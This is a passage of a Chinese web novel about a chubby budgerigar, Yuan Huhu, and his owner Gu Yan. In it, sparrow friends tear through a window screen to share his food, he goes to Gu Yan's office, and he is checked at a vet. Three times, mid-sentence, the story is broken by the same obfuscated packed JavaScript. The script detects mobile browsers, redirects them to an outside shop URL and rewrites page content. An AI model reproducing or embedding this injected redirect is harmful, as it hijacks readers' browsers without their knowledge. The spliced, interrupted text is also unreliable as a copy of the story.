小胖鸟兴奋得差点从顾晏肩膀上栽下去,扑棱着翅膀稳住身形,然后对着顾晏的脸就是一顿猛蹭,一边蹭一边“啾啾啾”叫个不停,活像一台失控的小型发动机。 顾晏被他蹭得脸都歪了,伸手把他的脑袋按住:“行了,别蹭了。” 元呼呼停不下来,快乐得羽毛都在颤抖。 彩色秋千!他的彩色秋千! 店员笑着把豪华笼子取下来,顾晏接过来看了看,做工确实比三百八十八的还要精致一些,秋千也是实木的,彩色漆面光滑,应该不会有掉色的风险。 他抬头看了一眼蹲在自己肩膀上,眼睛却黏在秋千上的小胖鸟。 “就这个吧。” 元呼呼发出一声快乐的尖叫:“啾!!!” 顾晏伸手弹了一下他的小脑袋瓜:“最后一次,以后我不会再给你多花一分冤枉钱,有笼子有吃的就够了,你看着也不像是很娇贵的样子。” 元呼呼正沉浸在拥有彩色秋千的巨大喜悦里,根本听不清顾晏在说什么,只管点头似的又“啾”了一声。 顾晏看着他这副没心没肺的样子,沉默了。 旁边货架上的进口鸟粮映入他的眼帘,他看了一眼,选择略过,买了几包国产鸟粮结账。 拎起装着豪华笼子的购物袋,顾晏转身往外走,元呼呼蹲在他肩膀上,快乐地晃着小脑袋,已经开始幻想自己坐在彩色秋千上摇摇晃晃的美好生活了。 推门出去,阳光落在他们身上,暖融融的。 元呼呼眯起眼睛,蹭了蹭顾晏的脖子。 两脚兽真好。 虽然有时候坏坏的,但还是很好。 至于顾晏那句“最后一次”。 小鸟表示没听懂,就不算数。 4. 四团糯米糍 新的一周开始,顾晏恢复了朝九晚五的上班节奏。 元呼呼站在豪华笼子的栖木上,歪着脑袋看两脚兽在面前整理衣服,系领带,一副要出门的架势。 “啾?”他试探性地叫了一声。 顾晏头也不回,拿起桌上的车钥匙。 元呼呼急了,从栖木上飞下来,整只鸟凑到笼壁上,喉咙里发出短促的啾啾声,一副“带我带我带我”的急切模样。 顾晏百忙中偏头看了他一眼,冷酷驳回小鸟请愿:“小鸟不用上班,老实在家待着。” 说完这句,他走到鸟笼旁,往食盒里添满了小米,水壶也灌得满满的,又绕到阳台那边,伸手推了推窗户,确认关严实了。 元呼呼眼巴巴地看着他做这些,整个鸟都不好了。 真就丢下他一个人啊,人宠之间的蜜月期竟如此短暂,令鸟心寒! 等顾晏检查完一圈,径直走到门口时,元呼呼发出最后的挽留。 “啾啾~” 两脚兽,你不要走啊~ 那鸟鸣百转千回,搭配他湿漉漉的黑豆眼,杀伤力堪称萌界核弹。 顾晏沉默了两秒。 然后—— 门开了,又关上了。 元呼呼:…… 他保持着贴在笼壁上的姿势,呆呆地看着那扇紧闭的门,好半天才回过神来。 走了。 真的走了。 把他一只鸟丢在家里,自己走了! “啾!”他愤怒地啄了一下笼子,铁丝发出“当”的一声轻响,震得他脑壳疼。 伤敌负一千,自损一千八,毕竟买笼子也是花的顾晏的钱,而顾晏的钱,就是他的钱。 想到这,元呼呼决定放过他的个人财产。 他从笼壁旁离开,重新飞回栖木上,在栖木上转了两圈,又飞到秋千上晃了晃,最后落到食盒边,低头啄了两口小米。 食盒里的小米堆得满满当当,金灿灿的,在阳光下泛着诱人的光泽,水壶里的水清澈透亮,比他以前在公园水坑里喝的那些不知道干净多少倍。 但元呼呼就是觉得不对劲。 太安静了。 没有麻雀姨妈的唠叨,没有小灰小斑打闹时叽叽喳喳的声音,只有他一个人在笼子里顾影自怜,令鸟桑心。 高需求小鸟宝宝的心理健康也很重要的好不好。 元呼呼:TT。 蔫蔫地垂下脑袋,他无聊地啄着食盒边缘,发出“当当当”的声响,自己给自己找点事做。 就在他啄得起劲时,阳台外忽然传来一阵熟悉的啾啾声。 元呼呼猛地抬起头,竖起耳朵。 “啾!啾啾!”声音更清晰了,还伴随着爪子抓挠玻璃的声音。 他赶忙蹭到笼子靠近窗户的一侧往外看。 阳台外侧的窗台上,并排站着三只灰扑扑的麻雀。 领头的体型稍大,眼神锐利,正是收留他的麻雀姨妈,后面两只小的,则是他麻雀群里最好的小伙伴小灰和小斑。 元呼呼整只鸟都兴奋起来,在笼子里又蹦又跳:“啾啾!啾啾啾!” 你们怎么来了! 麻雀姨妈没急着回答,只是上下打量了元呼呼一番,看到他没什么不对劲才放下心来。 “啾。”她轻声回应。 来看看你怎么样,这个两脚兽对你好吗? 元呼呼用力点头:“这个两脚兽特别好,我现在有吃不完的食物,还有一个超级漂亮的笼子。” 小灰和小斑凑近纱窗,黑豆眼里满是好奇,小爪子扒拉着窗户,恨不得钻进来仔细瞧瞧。 元呼呼第一次离开家人这么久,思念之情溢于言表,但一阵风吹过,成功让他一肚子的话都憋了回去。 没风的时候看不出来,现在再看,小灰和小斑都瘦了,就连麻雀姨妈也不例外,原本的实心糯米糍变成了瘪瘪的糯米糍。 元呼呼的心像被什么狠狠揪了一下。 他艰难地开口询问:“你们是不是没吃饱啊?” 小灰和小斑对视一眼,没吭声。 麻雀姨妈倒是觉得没有什么不能说:“最近天气降温,又是雨天,公园里没什么人来,食物少了点,过几天就好了。” 她说得轻描淡写,但元呼呼听得心里一阵发酸。 以前在公园,他胃口大,大家都会分点食物给他,让他能填饱肚子。 现在他过上好日子了,他们却在挨饿。 “你们进来吧。”元呼呼脱口而出,“进来吃,这里面有好多小米,我一个人根本吃不完。” 他急切地扑到笼门边,用喙去啄那个插销,又用爪子去扒拉,可那根小小的铁棍就是纹丝不动。 “这个门我打不开……”他急得团团转,在笼子里转了好几圈,“窗户也关着,我出不去,你们也进不来……” 小灰和小斑隔着玻璃,眼巴巴地看着里面满满的小米食盒,还不忘啾啾安慰他,强装不饿。 就在元呼呼不知如何是好的时候,窗外传来一阵动静。 他抬起头,愣住了。 麻雀姨妈正站在阳台的纱窗前,歪着脑袋打量着那层薄薄的网纱,她用喙轻轻啄了啄,又用爪子扒拉了两下,最后退后两步仔细端详了一番。 元呼呼不明白她想干什么,下意识叫了一声:“姨妈?那个东西很结实的,打不开……” 话还没说完,麻雀姨妈动了。 她猛地扑上去,爪子抓住纱网,锋利的喙对准一个点,狠狠地啄了下去。 “嗞啦——” 一声刺耳的撕裂声。 元呼呼剩下的话卡在喉咙里,整只鸟像被点了穴一样僵在原地,黑豆眼瞪得溜圆,嘴巴张得大大的,却发不出任何声音。 在他看来坚不可摧的纱窗,在麻雀姨妈的喙下像薄纸一样被撕开了一道口子。 麻雀姨妈啄开一个小洞后,并没有停手,她用爪子扒住破口边缘,脑袋钻进去,又用力一扯。 “嗞啦——嗞啦——” 破口越来越大。 小灰和小斑在一旁看得眼睛发亮,兴奋地扑棱着翅膀,时不时也凑上去啄两下帮忙。 元呼呼:o.O? 什么情况??? 这是什么情况??? 他下意识地往后退了一步,呆呆地看着三个身影在纱窗上肆虐。 不过几分钟的功夫,原本完好无损的纱窗上,就出现了一个拳头大小的洞。 麻雀姨妈率先钻了进来,稳稳落在客厅地板上,抖了抖羽毛,回头冲小灰小斑叫了一声。 两只小麻雀立刻跟着钻了进来,扑棱扑棱落在她身边。 三只麻雀,整整齐齐地站在地板上,隔着笼子和里面目瞪口呆的元呼呼对视。 元呼呼:…… 他是谁,他在哪,刚才发生了什么。 麻雀姨妈淡定地梳理了一下被纱网挂乱的羽毛,然后施施然飞了起来。 小灰和小斑紧随其后,一边飞一边东张西望,对周围的一切都充满好奇。 元呼呼僵在笼子里,看着麻雀们飞到了他的笼子外面和他对视。 三只麻雀依次凑近笼子,隔着笼子和他蹭了蹭。 等结束温情的见面仪式,元呼呼这才找回自己的声音,发出一声颤抖的啾。 你们就这么进来了? 麻雀姨妈淡淡地瞥了他一眼:“不然呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278766|198323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等你开门?” 元呼呼噎住了。 小灰和小斑已经迫不及待地凑到了笼子边,隔着笼子眼巴巴地看着里面的小米,口水都快滴下来了。 “能进去吗?”小灰小心翼翼地问。 元呼呼这才回过神来,指挥着麻雀开笼子,兄弟齐心其利断金,那个折磨了他大半天的插销,在小鸟们的合作下终于开了。 门一开,小灰和小斑就欢呼一声,争先恐后地挤了进去,扑到食盒边埋头猛啄,吃得头都不抬。 麻雀姨妈不紧不慢地跟在后面,进去后先绕着笼子巡视了一圈,等到小灰小斑吃完了才落到食盒边优雅地啄了几口。 元呼呼站在一旁,看着三只麻雀在自己家里大快朵颐,心里有一万个问号。 好不容易熬到麻雀们结束进食,他迫不及待发出疑问:“姨妈,你刚才破窗的是什么技能啊?” 这么酷炫的技能怎么不传授给我捏,qaq。 麻雀姨妈抬头看了他一眼,目光富含深意:“这个技能不适合你,之后教你更好的。” 元呼呼:⊙▽⊙ 什么,我竟然不是命运之啾嘛! 几只鸟又亲亲热热聊了会天,麻雀姨妈看着外面的天色,终于发信号。 “差不多了,该走了。” 小灰小斑依依不舍地蹭了蹭元呼呼,转身乖乖跟着姨妈杨往外飞去,飞走前还不忘打扫战场,整个房子除了食物和纱窗没有一个东西受伤。 元呼呼站在笼子里,目送他们的身影消失在渐暗的天色里,久久没有动。 过了好一会,他慢慢回过神来,低头看了看笼子里的一片狼藉。 也就是少了亿点点食物而已,两脚兽肯定不会和他计较的吧。 晚上,顾晏加班到很晚才回家。 门锁转动的声音响起时,元呼呼正蹲在秋千上,面上装作若无其事,实则紧张得翅膀都不会动了。 脚步声渐渐靠近,最后停在了他面前,男人俯下身,仔细打量笼子里的小鸟。 元呼呼一抬头对上他的视线,整只鸟都僵了。 好在和他对视两秒后,顾晏率先移开视线,低头看向别的地方,这一看就不由自主皱起了眉。 食盒,空了。 水,没了。 最后,他的目光缓缓上移,再次定格在元呼呼身上。 元呼呼缩在秋千上,恨不得把自己缩成一粒小米,好让两脚兽看不见自己。 完了完了完了。 这次真的完了。 两脚兽是不是觉得他太能吃了。 他要是生气了肯定会把他赶出去的。 就在他胡思乱想的时候,顾晏开口了。 “你今天吃了多少?”声音有点急切,听起来不像是男人的风格。 元呼呼愣了一下,不明白他为什么这么问。 顾晏看着他,眉头皱得紧紧的。 “只听说过鱼把自己撑死的,没听过鸟把自己撑死的,笨不笨啊你。” 他伸出手,轻轻打开笼门,把元呼呼从里面捧出来。 元呼呼瑟瑟发抖地趴在他手心里,不敢动。 顾晏仔细端详着他,用手轻轻摸了摸他的肚子,圆滚滚的,软乎乎的,好像是比平时鼓了不少。 “真胖了一圈。” 元呼呼:…… 你这是血口喷鸟知不知道,鸟一口没多吃。 “明天跟我去上班吧。”顾晏突然说道。 元呼呼愣住了。 “明天下班我带你去公司附近的宠物医院检查一下,看看暴食后身体会不会有什么问题。” 元呼呼:o.O? 一口没多吃也要吗? 5. 五团糯米糍 次日一早,元呼呼在睡梦中被一阵颠簸惊醒。 迷迷糊糊睁开眼,眼前又是熟悉的塑料小盒子。 “啾!”他发出抗议的叫声,扑腾着往外看,发现自己正被顾晏拎着往停车场走去。 遗忘的记忆瞬间回笼。 哦,对,今天要跟黏人的两脚兽去上班。 昨晚他本来打算和顾晏争辩三百回合到底自己有没有变胖的问题,但一直单方面输出太累了,他喊着喊着就口干舌燥,眼皮打架,没忍住睡了个昏天黑地。 再醒来,就已经在去公司的路上了。 车门打开又关上,箱子被放在副驾驶座,顾晏系好安全带,偏头看了他一眼。 “小懒鸟,睡了十几个小时,终于醒了?” 元呼呼歪着脑袋看他,自动忽略前面几个字,小声啾了一下。 小鸟不计大人过,他这次就放过顾晏。 顾晏听到他的回应,眉眼舒展开来,发动了车子。 车子平稳驶出停车场,汇入长长的车流,元呼呼被困在箱子里,一点外面的景色都看不到。 他有点不安,在箱子里来回打转,没一会就开始顶箱盖。 “别顶了,你出不来的。”顾晏的声音从旁边传来。 元呼呼不听,继续顶。 挤着挤着,他发现有个角落似乎比其他的地方松一点,于是把脑袋凑过去,小脸挤得平平的,努力往外蹭。 顾晏余光瞥见这只小胖鸟撅着屁股把脸贴在箱子上的滑稽模样,嘴角微微抽了抽。 “笨鸟。” 元呼呼耳朵尖,立刻把脑袋从那里挪开,扭头瞪他:“啾!” 你才笨! 顾晏有点担心元呼呼脑袋顶出毛病了,本来就不聪明,等会更傻了怎么办,趁着红灯的功夫,他把箱子从副驾驶挪到上面,随即目视前方继续开车。 元呼呼眼前一花,视野瞬间开阔,顿时高兴起来,在箱子里悠哉悠哉巡视起窗外的风景,心里暗暗记下路线。 开了大概二十分钟,车子终于停了下来。 元呼呼被顾晏从箱子里拿出来,下意识就往他肩膀上爬,一路畅通无阻,顾晏甚至没在原地定住,等他站稳了才继续拿着箱子推开车门下去。 一人一鸟走进了面前高耸入云的建筑内。 进门时空无一人,到了电梯处人却突然多了起来。 元呼呼第一次近距离接触这么多两脚兽,社牛小鸟都紧张了,爪子紧紧抓住顾晏的肩膀,从阳光开朗话唠鸟一秒变身害羞腼腆小石雕。 顾晏感觉到肩膀上的小东西状态不对,担心他应激,微微偏头看了一眼,伸手轻轻摸了摸他的脑袋。 “别怕。” 元呼呼愣住了。 两脚兽是在安慰他吗? ,小鸟好感动。 他抬起头把脑袋往顾晏脖子边蹭了蹭,小声地啾了一下。 顾晏带着小鸟走进私人电梯,电梯缓慢上升,最后停在了17层。 迎面是一个开放式办公区,几十张工位整齐排列,不少人已经在工位前忙碌,顾晏一出现,立刻就有人抬头跟他打招呼。 “顾总早。” “顾总好。” 顾晏微微颔首算是回应,脚步不停地往自己的办公室走去。 元呼呼蹲在他肩膀上,好奇地东张西望。 这就是两脚兽上班的地方吗?好多两脚兽,好多桌子,好多发光的方块。 他正看得入神,忽然感觉到无数道视线齐刷刷地落在自己身上。 那些两脚兽都停下了手里的动作,正瞪大眼睛看着他,嘴巴张得大大的,像是看到了什么不可思议的东西。 元呼呼:O.O? 他不明白发生了什么,下意识往顾晏脖子边缩了缩。 下一秒,此起彼伏的惊呼声炸开了锅。 “天哪,顾总肩膀上是什么!” “是一只蓝色的鸟。” “是鹦鹉吗,胖乎乎的好漂亮啊。” “顾总不是说养宠物浪费时间金钱吗hhh,这才多久就养上了。” 原本安静的办公区瞬间沸腾起来,一群人脖子伸得老长,眼睛发亮地盯着元呼呼看。 元呼呼被这阵势吓了一跳,爪子紧紧抓住顾晏的肩膀,眼神都清澈了。 顾晏皱了皱眉,扫了众人一眼:“都别起哄,准备上班了。” 这批人都是他当初从家里出来开公司自己一手培养起来的,和他关系也比较亲近,他没提前考虑到带鸟来公司会有什么影响,措不及防之下让元呼呼被吓到了。 众人讪讪地收回蠢蠢欲动的脚,但目光还是黏在元呼呼身上舍不得移开。 有个胆子大的女员工忍不住开口:“顾总,这只鹦鹉好可爱啊,叫什么名字?” 顾晏脚步一顿。 叫什么名字? 他低头看了看肩膀上缩成一团的小胖鸟,发现自己还真没给他取过名字。 “还没取。”他说。 女员工眼睛更亮了:“那顾总要不要叫它清清,你看它身上的蓝色多纯净。” “我觉得叫团团更合适,你看它圆滚滚的一团。” “元宝,叫元宝多吉利啊,招财进宝。” …… 众人七嘴八舌地讨论起来,元呼呼站在顾晏肩上,听得一愣一愣的。 清清?团团?元宝? 这都是什么跟什么啊! 他行不改名,坐不改姓,鹦鹉大王元呼呼是也! 想到这,他急得在顾晏肩膀上直跺脚,生怕顾晏采纳了这些人的名字:“啾啾啾!” 不行不行不行! 顾晏感觉到肩膀上的动静,偏头看了他一眼。 小胖鸟正瞪着一双黑豆眼,一脸“你敢给我取那些名字我就跟你急”的表情。 他唇角微微弯了弯。 “叫圆乎乎。”他不假思索地开口。 众人一愣:“圆乎乎?” “嗯。” 元呼呼呆住了。 元呼呼? 难道这两脚兽真的是他命中注定的主人,怎么一下子就叫出了他的真名! “圆乎乎,这名字真可爱。” “而且很贴切,小鸟圆乎乎的才有福气啊。” 众人又是一阵吹捧,把元呼呼都夸得有点不好意思了,他把脑袋埋进顾晏脖子边,只有耳朵露在外面,欲盖弥彰暗戳戳听别人夸自己。 顾晏见这个话题终于结束,便没再理会众人,拎着箱子进了自己的办公室,顺手把门关上。 门一关,外面的喧嚣瞬间被隔绝。 元呼呼从顾晏肩膀上跳下来,落在办公桌上,好奇地打量着这个陌生的空间。 办公室不大,一张深色办公桌,一把黑色的办公椅,靠墙是一排书柜,窗台上摆着几盆绿植,看起来和外面的人呆的地方没什么区别。 悠哉悠哉在桌子上走了几步,他的目光就被窗台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278767|198323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的绿植吸引了注意力。 这是什么植物,没见过,吃一口。 他扑棱着翅膀飞过去,落在花盆边缘,低头用喙啄了啄叶片。 顾晏正在整理文件,一抬头就看见小胖鸟在祸害他的绿植。 “圆乎乎。”他叫了一声。 元呼呼扭头看他,嘴里还叼着一小片叶子。 顾晏:“……那是假的。” 元呼呼:o.O? 他低头看了看嘴里的叶子,又看了看那盆“绿植”,发现确实没有土,也没有根,就是一堆假叶子插在花盆里。 他把叶子吐出来,嫌弃地“啾”了一声。 假的还放在这里,欺骗鸟的感情! 顾晏走过来,把他从花盆边缘拎起来,重新放回办公桌上。 “老实待着,不要乱跑。” 元呼呼蹲在桌上,歪着脑袋看他,啾啾叫了几声,像是在问:那你干嘛? 顾晏坐回到座位上,打开电脑开始办公,顺便吓一吓小鸟:“赚钱养你,要是哪天我没工作了,就换你出去赚钱养我。” 元呼呼:O.O? 简直是倒反天罡!只听说过人养鸟的,第一次见到让鸟养的,鸟能卖萌,人能干嘛,差评! 想到这,元呼呼赶紧后退两步,谨慎地远离顾晏,生怕下一秒两脚兽就碰瓷说他工作不了了都是鸟的错。 人,你大大的坏! 安分守己地在桌子上待了一会,元呼呼又感觉无聊了。 他站起来在桌上走了两步,发现桌角放着一个笔筒,里面有好多支竖着的笔。 好奇地凑过去,他用喙啄了啄笔筒的边缘,又用爪子扒拉了两下,想看看里面除了笔还有什么。 笔筒晃了晃,没倒。 他继续扒拉。 笔筒又晃了晃,还是没倒。 他再接再厉,整只鸟趴在笔筒上,用尽全力一推。 哗啦! 笔筒倒了,十几支笔滚了满桌。 元呼呼吓得跳起来,扑棱着翅膀飞到顾晏的电脑屏幕顶端,蹲在上面往下看。 顾晏抬起头,看着满桌狼藉,又看着蹲在屏幕顶端,一脸“不是我干的”的小胖鸟。 “圆乎乎。” 元呼呼缩了缩脖子:“啾……” 不关鸟的事,是笔筒自己倒的。 顾晏深吸一口气,站起身,走过去把笔一支一支拿起来,重新插回笔筒里,又把笔筒放回原位。 他转身看向屏幕顶端的小胖鸟。 元呼呼立刻把脑袋埋进翅膀里,假装自己不存在。 顾晏看着他这副掩耳盗铃的样子,忽然觉得有点好笑。 他走过去,伸手把这只装死的笨鸟从屏幕顶端拎下来。 “再捣乱,就把你关箱子里。” 元呼呼睁开眼睛,可怜巴巴地望着他,小小声地“啾”了一下。 顾晏不为所动,把他放到旁边的桌子上:“老实待着,不许动。” 说完他就重新回到座位上,继续工作。 元呼呼眼珠子滴溜滴溜转,真心做不到一直不动,突然,他目光扫过绿植,心里突然有了一个想法。 在顾晏看过来前,他一下子飞到绿植前,毫不犹豫又揪了一片叶子下来,随即飞到顾晏面前,把叶子递过去,讨好地叫了两声。 “啾啾!啾啾!” 鲜花赠美人,绿叶赠主人。 收了小鸟的礼物,就不许生气了哦。 6. 六团糯米糍 元呼呼把那片假叶子往顾晏手边一放,仰着脑袋,眼睛亮晶晶地望着他。 顾晏低头看了看那片叶子,又看了看面前这只一脸讨好的小胖鸟,有点好笑。 “吃我的饭花我的钱还要揪我的叶子讨好我?” 元呼呼歪了歪脑袋:“啾?” 听不懂,小鸟只知道普天之下,莫非王土,鸟取之于民用之于民,小鸟皇帝好! 两个人就这样安静对视了片刻,最终还是顾晏妥协了。 他把叶子拿起来看了一眼,确认足够干净,顺手就放进了西装口袋里,只露出一小截绿色的尖尖。 “行了吧?” 元呼呼盯着绿叶尖尖的位置晃了晃脑袋,像是在思考,随即疯狂点头,小脑袋点得像啄米似的。 “啾啾啾!” 可以可以,不愧是我的人类,真识趣! 下一秒,他命运的后脖颈就被顾晏揪住,还被弹了一下脑袋:“那就别闹了,自己乖乖找个地方玩。” 元呼呼颇具人性化地点头,晃晃荡荡走了几步,在办公桌一角蹲下,随后一动不动,像一尊小鸟佛雕塑,他把脑袋埋进翅膀里,端端正正合上眼帘,打起了瞌睡。 顾晏静下心工作了一会,突然听到了细细碎碎的小鸟叫声,偏头一看,小胖鸟缩成一团,睡得正香,小胸脯一起一伏的。 他盯着看了两秒,伸手轻轻摸了摸他的脑袋。 元呼呼在睡梦中蹭了蹭他的手指,嘴里含含糊糊像是在打快板,哼哼唧唧的一句话都听不清。 听着听着,顾晏不免担忧起来,他这么沉稳的人,怎么就鬼迷心窍地养了一只碎嘴子鸟呢,到时候还是要好好教育,不能让孩子学坏了。 下定决定物色一个好榜样来引导元呼呼走上正轨,顾晏重新收回手,继续埋头工作。 元呼呼一觉睡到中午,这才被一阵食物的香气馋醒。 他迷迷糊糊睁开眼,刚好看见顾晏正在办公桌另一边吃午饭,饭盒里满满的青菜和肉。 元呼呼的眼睛一下子亮了,扑棱着翅膀飞过去,落在顾晏手边,脖子伸得老长,恨不得把脑袋扎进饭盒里。 可恶的两脚兽,背着鸟吃好东西! 都说有福同享有难同当,两脚兽为了吃独食,都抛弃了这些美好品德了。 顾晏筷子顿住。 “你的饭在旁边。” 他怕元呼呼没看见,好心给他指路。 元呼呼扭头看了看自己装着鸟粮的小盘子,又扭头看了看顾晏的,猛猛摇头,愤怒谴责:“啾啾啾!” 区别对待,鸟理不容! 顾晏盯着愤怒的小鸟思索片刻,终于明白了他的意思,他有些好笑,拿出手机查了查,随即走进 休息室捣鼓了一会,端了一只小碟子出来。 里面赫然就是撕成细丝的鸡胸肉和切成小块的西兰花。 减脂餐而已,这也要抢着吃。 健身教练看到了都要高喊这就是他命中注定的客户吧。 元呼呼看到顾晏手里的碟子,迫不及待地冲了上来,一口叼住西兰花,啄了啄吞下去,然后仰起头,眼睛亮晶晶地望着他。 顾晏夹起一根鸡胸肉抵到元呼呼嘴边。 元呼呼又慢条斯理吃完。 “啾啾。” 继续喂,不要停。 就这样吃了小半碟,元呼呼感觉肚子里鼓鼓的,这才扭头躲开顾晏的投喂,转身飞走。 鸟想要,鸟得到,鸟吃完就走,不留下一片云彩。 不愧是诗人鸟,有文化。 被吃完就扔的顾晏在身后幽幽看了他片刻,心里暗暗记下一笔,这才转身回到座位旁,三下五除二吃完剩下的减脂餐。 真难吃,今天的冷了后格外难吃。 下午的时光转瞬即逝。 五点半,顾晏准时关闭电脑,收拾好东西,带着元呼呼离开了公司,去了附近的宠物医院。 临近下班,又是工作日,医院里没有什么人宠,只有一股淡淡的消毒水味经久不散。 元呼呼被顾晏从箱子里拿出来,蹲在他手心里,紧张地东张西望。 玻璃柜台后面趴着一只胖橘猫,正懒洋洋地舔爪子,看见元呼呼进来,眼睛眯了眯,尾巴在身后晃了晃。 元呼呼头皮一麻,脑子里“嗡”一声,一片空白。 他疯狂往顾晏胸口钻,小爪子扒拉扒拉,鸟喙不自觉狠狠啄了几下,其中一下还正好落在顾晏的**上。 顾晏倒吸一口凉气,赶紧用手挡住元呼呼,抬头看天,第N次怀疑人生,他是日子过得太好了捡只鸟回来吗,这哪里是报恩小鸟,是索命小鸟才对吧。 等缓过劲来,他低头看手心里的小鸟:“你怎么了,突然这么激动?” 元呼呼:“啾啾啾啾啾!” 有猫,有猫,你没看见吗那么大一只猫! 顾晏顺着他的目光看过去,总算发现了柜台后的罪魁祸首。 那只橘猫正隔着玻璃懒洋洋地看着他们打哈欠,一副“你们吵到朕睡觉了”的表情。 顾晏:“……” 他低头看了看还在瑟瑟发抖往他怀里钻的小胖鸟,忽然有点想笑。 “被猫吓的?” 元呼呼疯狂点头,点得小脑袋都快掉了。 顾晏伸手摸了摸他的脑袋:“隔着玻璃呢,它出不来,呼噜呼噜毛,吓不着。” 元呼呼从他手指缝里探出半个脑袋,偷偷瞄了一眼那只猫。 猫还在打哈欠,根本没看他。 元呼呼又瞄了一眼。 好像确实出不来。 原来是只景观猫! 好好好,猫落平原被鸟欺,他才不怕。 元呼呼重新精神起来,爬上顾晏肩膀,抖了抖羽毛,开始啾啾啾地神气叫唤。 诶,你抓我撒,你抓我撒~ 就在他乐此不疲挑衅橘猫的时候,一个年轻女医生笑着迎上来:“先生您好,是来给这只鹦鹉做检查吗?” 顾晏伸手捂住小鸟叽叽喳喳叫唤的嘴,点了点头。 元呼呼被捂住了嘴,只能发出含糊的声音,眼睛还瞪得溜圆,一副不服气的样子。 医生被他这副模样逗笑了:“小家伙挺活泼的。” 顾晏面无表情:“活泼过头了。” 医生伸出手想接过元呼呼,被小鸟敏锐发现,他立刻往后缩,两只小爪子紧紧抓住顾晏的肩膀,死活不肯松。 “啾!” 才不,谁知道你是不是和橘猫一伙的。 医生也不强求:“小家伙是有点认生吗,那麻烦先生配合我们一下,就这样检查吧。” 先称体重。 顾晏把元呼呼放到小秤上。 元呼呼往左走,被挡回来,往右走,又被挡回来,气的一屁股坐到秤上,不动了。 数字稳定下来,医生看了一眼:“38克。”她顿了顿,又看了看秤上圆滚滚的一团,笑着补了一句,“对于虎皮鹦鹉来说,稍微有一点点偏胖,不过问题不大,平时多让它飞一飞就好。” 元呼呼站在秤上,整只鸟都不好了。 38克,胖? 他猛地抬起头,对着医生就是一顿输出:“啾啾啾啾啾!” 什么胖不胖的,恶语伤鸟六月寒,这明明是有福气! 顾晏赶紧手动闭麦。 元呼呼挣了挣,没挣开,只能最后愤愤地“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278768|198323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啾”了一声。 医生笑着继续检查,看羽毛,看眼睛,看喙和爪子,最后拿起一个小手电。 “我看看羽毛下面的皮肤。” 她轻轻吹开元呼呼背上的羽毛,用手电照着看了看,忽然“咦”了一声。 顾晏眉头微皱:“怎么了?” 医生又仔细看了看,用手指轻轻指了指几处位置:“您看这里,还有这里,有几处旧伤,已经愈合了。” 元呼呼愣了一下。 旧伤? 他努力回想,终于从犄角旮旯里翻找出当初的记忆。 那是还没被麻雀姨妈收留之前的事了,当时他孤身一鸟,打架打不过别人,抢食物也抢不过,身上到处都是小伤,后来被姨妈捡回去,才慢慢养好。 顾晏低头看着手心里的小胖鸟:“能看出来是什么伤的吗?” “看愈合程度,应该有些日子了,这只鸟是您从外面捡的?” 顾晏点头。 医生又看了看那几处旧伤:“虎皮鹦鹉在野外存活率很低,能活下来被收养的确实不多,小家伙运气不错。” 顾晏没说话,只是伸手轻轻摸了摸元呼呼的脑袋。 动作中多了几分怜惜。 元呼呼感受到了,抬头蹭了蹭他的手指,小声“啾”了一下。 像是在说:没事啦,都过去啦。 等所有检查结束,顾晏又问了几个日常喂养的问题,这才带着元呼呼离开医院。 天色已经暗了。 元呼呼蹲在顾晏肩膀上,夜风吹过来有点凉,他往顾晏衣领处缩了缩。 顾晏偏头看了他一眼,伸手轻轻托住他放到了怀里。 元呼呼舒服地闭上了眼。 车子一路开回家。 顾晏拎着箱子走进家门,正打算往卧室走去,脚步忽然顿住了。 元呼呼疑惑地抬起头,顺着他的视线看过去。 阳台的纱窗上,赫然有一个拳头大小的洞。 月光下,洞边缘参差不齐,像是被什么东西从外面撕开的,还有几缕丝线在夜风中飘荡。 元呼呼僵住了。 完了。 昨天麻雀姨妈他们来把窗户弄破了,他竟然把这件事忘得一干二净。 顾晏盯着那个洞看了好一会,低头看了看手里的小胖鸟。 元呼呼眼睛往旁边瞟,小爪子在顾晏手心里不安地踩来踩去。 “啾……” 看鸟干嘛,鸟什么都不知道。 顾晏沉默了两秒,忽然把元呼呼举到眼前。 “那个洞,怎么回事?” 元呼呼拼命眨巴眼睛装无辜。 顾晏试探:“是不是你弄的?” 元呼呼疯狂摇头:“啾啾啾!” 不是不是,我是好鸟啊! 顾晏看着他这副急得要跳脚的样子,唇角微微弯了弯。 “那就是你太能吃了,在外面招惹了仇家,人家上门寻仇?” 元呼呼疯狂点头。 对对对,就是这样,我就是这么弱小可怜又无辜。 顾晏又看了看那个洞,又看了看他。 “行。”他说,“明天装个监控。” 元呼呼:O.O? 监控?! 那以后麻雀姨妈再来不就都被拍下来了。 